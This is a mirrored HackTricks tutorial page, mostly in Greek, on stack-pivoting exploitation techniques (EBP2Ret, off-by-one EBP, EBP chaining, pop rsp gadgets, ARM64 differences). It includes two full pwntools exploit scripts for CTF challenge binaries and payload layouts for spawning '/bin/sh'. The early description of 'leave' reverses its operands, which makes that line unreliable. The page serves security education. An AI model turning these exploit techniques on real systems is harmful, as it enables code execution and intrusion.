mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
225 lines
14 KiB
Markdown
225 lines
14 KiB
Markdown
# Stack Pivoting - EBP2Ret - EBP chaining
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Basic Information
|
||
|
||
Αυτή η τεχνική εκμεταλλεύεται την ικανότητα να χειρίζεται το **Base Pointer (EBP)** για να αλυσιοδέσει την εκτέλεση πολλαπλών συναρτήσεων μέσω προσεκτικής χρήσης του καταχωρητή EBP και της ακολουθίας εντολών **`leave; ret`**.
|
||
|
||
Ως υπενθύμιση, **`leave`** σημαίνει βασικά:
|
||
```
|
||
mov ebp, esp
|
||
pop ebp
|
||
ret
|
||
```
|
||
And as the **EBP είναι στο stack** πριν από το EIP, είναι δυνατόν να το ελέγξετε ελέγχοντας το stack.
|
||
|
||
### EBP2Ret
|
||
|
||
Αυτή η τεχνική είναι ιδιαίτερα χρήσιμη όταν μπορείτε να **αλλάξετε το EBP register αλλά δεν έχετε άμεσο τρόπο να αλλάξετε το EIP register**. Εκμεταλλεύεται τη συμπεριφορά των συναρτήσεων όταν ολοκληρώνουν την εκτέλεση.
|
||
|
||
Εάν, κατά την εκτέλεση του `fvuln`, καταφέρετε να εισάγετε ένα **ψεύτικο EBP** στο stack που δείχνει σε μια περιοχή μνήμης όπου βρίσκεται η διεύθυνση του shellcode σας (συν 4 bytes για να ληφθεί υπόψη η λειτουργία `pop`), μπορείτε έμμεσα να ελέγξετε το EIP. Καθώς το `fvuln` επιστρέφει, το ESP ορίζεται σε αυτή την κατασκευασμένη τοποθεσία, και η επόμενη λειτουργία `pop` μειώνει το ESP κατά 4, **κάνοντάς το να δείχνει σε μια διεύθυνση που έχει αποθηκευτεί από τον επιτιθέμενο εκεί.**\
|
||
Σημειώστε ότι **πρέπει να γνωρίζετε 2 διευθύνσεις**: Αυτή που θα πάει το ESP, όπου θα χρειαστεί να γράψετε τη διεύθυνση που δείχνει το ESP.
|
||
|
||
#### Κατασκευή Εκμετάλλευσης
|
||
|
||
Πρώτα πρέπει να γνωρίζετε μια **διεύθυνση όπου μπορείτε να γράψετε αυθαίρετα δεδομένα / διευθύνσεις**. Το ESP θα δείχνει εδώ και **θα εκτελέσει το πρώτο `ret`**.
|
||
|
||
Στη συνέχεια, πρέπει να γνωρίζετε τη διεύθυνση που χρησιμοποιείται από το `ret` που θα **εκτελέσει αυθαίρετο κώδικα**. Μπορείτε να χρησιμοποιήσετε:
|
||
|
||
- Μια έγκυρη [**ONE_GADGET**](https://github.com/david942j/one_gadget) διεύθυνση.
|
||
- Τη διεύθυνση του **`system()`** ακολουθούμενη από **4 άχρηστα bytes** και τη διεύθυνση του `"/bin/sh"` (x86 bits).
|
||
- Τη διεύθυνση ενός **gadget `jump esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) ακολουθούμενη από το **shellcode** που θα εκτελεστεί.
|
||
- Μερική [**ROP**](../rop-return-oriented-programing/index.html) αλυσίδα.
|
||
|
||
Θυμηθείτε ότι πριν από οποιαδήποτε από αυτές τις διευθύνσεις στην ελεγχόμενη περιοχή της μνήμης, πρέπει να υπάρχουν **`4` bytes** λόγω του μέρους **`pop`** της εντολής `leave`. Θα ήταν δυνατό να εκμεταλλευτείτε αυτά τα 4B για να ορίσετε ένα **δεύτερο ψεύτικο EBP** και να συνεχίσετε να ελέγχετε την εκτέλεση.
|
||
|
||
#### Off-By-One Εκμετάλλευση
|
||
|
||
Υπάρχει μια συγκεκριμένη παραλλαγή αυτής της τεχνικής γνωστή ως "Off-By-One Εκμετάλλευση". Χρησιμοποιείται όταν μπορείτε να **τροποποιήσετε μόνο το λιγότερο σημαντικό byte του EBP**. Σε αυτή την περίπτωση, η τοποθεσία μνήμης που αποθηκεύει τη διεύθυνση για να πηδήξει με το **`ret`** πρέπει να μοιράζεται τα πρώτα τρία bytes με το EBP, επιτρέποντας παρόμοια χειρισμό με πιο περιορισμένες συνθήκες.\
|
||
Συνήθως τροποποιείται το byte 0x00 για να πηδήξει όσο το δυνατόν πιο μακριά.
|
||
|
||
Επίσης, είναι κοινό να χρησιμοποιείται ένα RET sled στο stack και να τοποθετείται η πραγματική ROP αλυσίδα στο τέλος για να είναι πιο πιθανό ότι το νέο ESP δείχνει μέσα στο RET SLED και η τελική ROP αλυσίδα εκτελείται.
|
||
|
||
### **EBP Chaining**
|
||
|
||
Επομένως, τοποθετώντας μια ελεγχόμενη διεύθυνση στην είσοδο `EBP` του stack και μια διεύθυνση για `leave; ret` στο `EIP`, είναι δυνατόν να **μετακινήσετε το `ESP` στη διεύθυνση ελεγχόμενου `EBP` από το stack**.
|
||
|
||
Τώρα, το **`ESP`** είναι ελεγχόμενο δείχνοντας σε μια επιθυμητή διεύθυνση και η επόμενη εντολή προς εκτέλεση είναι ένα `RET`. Για να το εκμεταλλευτείτε αυτό, είναι δυνατόν να τοποθετήσετε στην ελεγχόμενη θέση ESP αυτό:
|
||
|
||
- **`&(next fake EBP)`** -> Φορτώστε το νέο EBP λόγω του `pop ebp` από την εντολή `leave`
|
||
- **`system()`** -> Καλείται από το `ret`
|
||
- **`&(leave;ret)`** -> Καλείται μετά την ολοκλήρωση του συστήματος, θα μετακινήσει το ESP στο ψεύτικο EBP και θα ξεκινήσει ξανά
|
||
- **`&("/bin/sh")`**-> Παράμετρος για το `system`
|
||
|
||
Βασικά, με αυτόν τον τρόπο είναι δυνατόν να αλυσιοδέσετε αρκετά ψεύτικα EBPs για να ελέγξετε τη ροή του προγράμματος.
|
||
|
||
Αυτό είναι σαν ένα [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), αλλά πιο περίπλοκο χωρίς προφανές όφελος αλλά θα μπορούσε να είναι ενδιαφέρον σε ορισμένες περιπτώσεις.
|
||
|
||
Επιπλέον, εδώ έχετε ένα [**παράδειγμα μιας πρόκλησης**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) που χρησιμοποιεί αυτή την τεχνική με μια **stack leak** για να καλέσει μια νικηφόρα συνάρτηση. Αυτό είναι το τελικό payload από τη σελίδα:
|
||
```python
|
||
from pwn import *
|
||
|
||
elf = context.binary = ELF('./vuln')
|
||
p = process()
|
||
|
||
p.recvuntil('to: ')
|
||
buffer = int(p.recvline(), 16)
|
||
log.success(f'Buffer: {hex(buffer)}')
|
||
|
||
LEAVE_RET = 0x40117c
|
||
POP_RDI = 0x40122b
|
||
POP_RSI_R15 = 0x401229
|
||
|
||
payload = flat(
|
||
0x0, # rbp (could be the address of anoter fake RBP)
|
||
POP_RDI,
|
||
0xdeadbeef,
|
||
POP_RSI_R15,
|
||
0xdeadc0de,
|
||
0x0,
|
||
elf.sym['winner']
|
||
)
|
||
|
||
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
|
||
|
||
payload += flat(
|
||
buffer, # Load leak address in RBP
|
||
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
|
||
)
|
||
|
||
pause()
|
||
p.sendline(payload)
|
||
print(p.recvline())
|
||
```
|
||
## EBP μπορεί να μην χρησιμοποιείται
|
||
|
||
As [**explained in this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), if a binary is compiled with some optimizations, the **EBP never gets to control ESP**, therefore, any exploit working by controlling EBP sill basically fail because it doesn't have ay real effect.\
|
||
This is because the **prologue and epilogue changes** if the binary is optimized.
|
||
|
||
- **Not optimized:**
|
||
```bash
|
||
push %ebp # save ebp
|
||
mov %esp,%ebp # set new ebp
|
||
sub $0x100,%esp # increase stack size
|
||
.
|
||
.
|
||
.
|
||
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
|
||
ret # return
|
||
```
|
||
- **Βελτιστοποιημένο:**
|
||
```bash
|
||
push %ebx # save ebx
|
||
sub $0x100,%esp # increase stack size
|
||
.
|
||
.
|
||
.
|
||
add $0x10c,%esp # reduce stack size
|
||
pop %ebx # restore ebx
|
||
ret # return
|
||
```
|
||
## Άλλοι τρόποι ελέγχου του RSP
|
||
|
||
### **`pop rsp`** gadget
|
||
|
||
[**Σε αυτή τη σελίδα**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) μπορείτε να βρείτε ένα παράδειγμα που χρησιμοποιεί αυτή την τεχνική. Για αυτή την πρόκληση ήταν απαραίτητο να καλέσετε μια συνάρτηση με 2 συγκεκριμένα επιχειρήματα, και υπήρχε ένα **`pop rsp` gadget** και υπάρχει μια **leak από τη στοίβα**:
|
||
```python
|
||
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
|
||
# This version has added comments
|
||
|
||
from pwn import *
|
||
|
||
elf = context.binary = ELF('./vuln')
|
||
p = process()
|
||
|
||
p.recvuntil('to: ')
|
||
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
|
||
log.success(f'Buffer: {hex(buffer)}')
|
||
|
||
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
|
||
POP_RDI = 0x40122b
|
||
POP_RSI_R15 = 0x401229 # pop RSI and R15
|
||
|
||
# The payload starts
|
||
payload = flat(
|
||
0, # r13
|
||
0, # r14
|
||
0, # r15
|
||
POP_RDI,
|
||
0xdeadbeef,
|
||
POP_RSI_R15,
|
||
0xdeadc0de,
|
||
0x0, # r15
|
||
elf.sym['winner']
|
||
)
|
||
|
||
payload = payload.ljust(104, b'A') # pad to 104
|
||
|
||
# Start popping RSP, this moves the stack to the leaked address and
|
||
# continues the ROP chain in the prepared payload
|
||
payload += flat(
|
||
POP_CHAIN,
|
||
buffer # rsp
|
||
)
|
||
|
||
pause()
|
||
p.sendline(payload)
|
||
print(p.recvline())
|
||
```
|
||
### xchg \<reg>, rsp gadget
|
||
```
|
||
pop <reg> <=== return pointer
|
||
<reg value>
|
||
xchg <reg>, rsp
|
||
```
|
||
### jmp esp
|
||
|
||
Δείτε την τεχνική ret2esp εδώ:
|
||
|
||
{{#ref}}
|
||
../rop-return-oriented-programing/ret2esp-ret2reg.md
|
||
{{#endref}}
|
||
|
||
## Αναφορές & Άλλα Παραδείγματα
|
||
|
||
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
|
||
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
|
||
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
|
||
- 64 bits, εκμετάλλευση off by one με μια αλυσίδα rop που ξεκινά με ένα ret sled
|
||
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
|
||
- 64 bit, χωρίς relro, canary, nx και pie. Το πρόγραμμα παρέχει μια διαρροή για stack ή pie και μια WWW ενός qword. Πρώτα πάρτε τη διαρροή του stack και χρησιμοποιήστε την WWW για να επιστρέψετε και να πάρετε τη διαρροή του pie. Στη συνέχεια, χρησιμοποιήστε την WWW για να δημιουργήσετε έναν αιώνιο βρόχο εκμεταλλευόμενοι τις καταχωρήσεις `.fini_array` + καλώντας `__libc_csu_fini` ([περισσότερες πληροφορίες εδώ](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Εκμεταλλευόμενοι αυτήν την "αιώνια" εγγραφή, γράφεται μια αλυσίδα ROP στο .bss και καταλήγει να την καλεί κάνοντας pivoting με RBP.
|
||
|
||
## ARM64
|
||
|
||
Στο ARM64, οι **προλόγοι και οι επιλόγοι** των συναρτήσεων **δεν αποθηκεύουν και δεν ανακτούν το μητρώο SP** στο stack. Επιπλέον, η εντολή **`RET`** δεν επιστρέφει στη διεύθυνση που υποδεικνύεται από το SP, αλλά **στη διεύθυνση μέσα στο `x30`**.
|
||
|
||
Επομένως, από προεπιλογή, απλά εκμεταλλευόμενοι τον επίλογο **δεν θα μπορείτε να ελέγξετε το μητρώο SP** αντικαθιστώντας κάποια δεδομένα μέσα στο stack. Και ακόμη και αν καταφέρετε να ελέγξετε το SP, θα χρειαστείτε έναν τρόπο να **ελέγξετε το μητρώο `x30`**.
|
||
|
||
- πρόλογος
|
||
|
||
```armasm
|
||
sub sp, sp, 16
|
||
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
|
||
mov x29, sp // FP points to frame record
|
||
```
|
||
|
||
- επίλογος
|
||
|
||
```armasm
|
||
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
|
||
add sp, sp, 16
|
||
ret
|
||
```
|
||
|
||
> [!CAUTION]
|
||
> Ο τρόπος για να εκτελέσετε κάτι παρόμοιο με το stack pivoting στο ARM64 θα ήταν να μπορείτε να **ελέγξετε το `SP`** (ελέγχοντας κάποιο μητρώο του οποίου η τιμή μεταφέρεται στο `SP` ή επειδή για κάποιο λόγο το `SP` παίρνει τη διεύθυνσή του από το stack και έχουμε μια υπερχείλιση) και στη συνέχεια **να εκμεταλλευτείτε τον επίλογο** για να φορτώσετε το **μητρώο `x30`** από ένα **ελεγχόμενο `SP`** και **`RET`** σε αυτό.
|
||
|
||
Επίσης, στην επόμενη σελίδα μπορείτε να δείτε την ισοδυναμία του **Ret2esp στο ARM64**:
|
||
|
||
{{#ref}}
|
||
../rop-return-oriented-programing/ret2esp-ret2reg.md
|
||
{{#endref}}
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|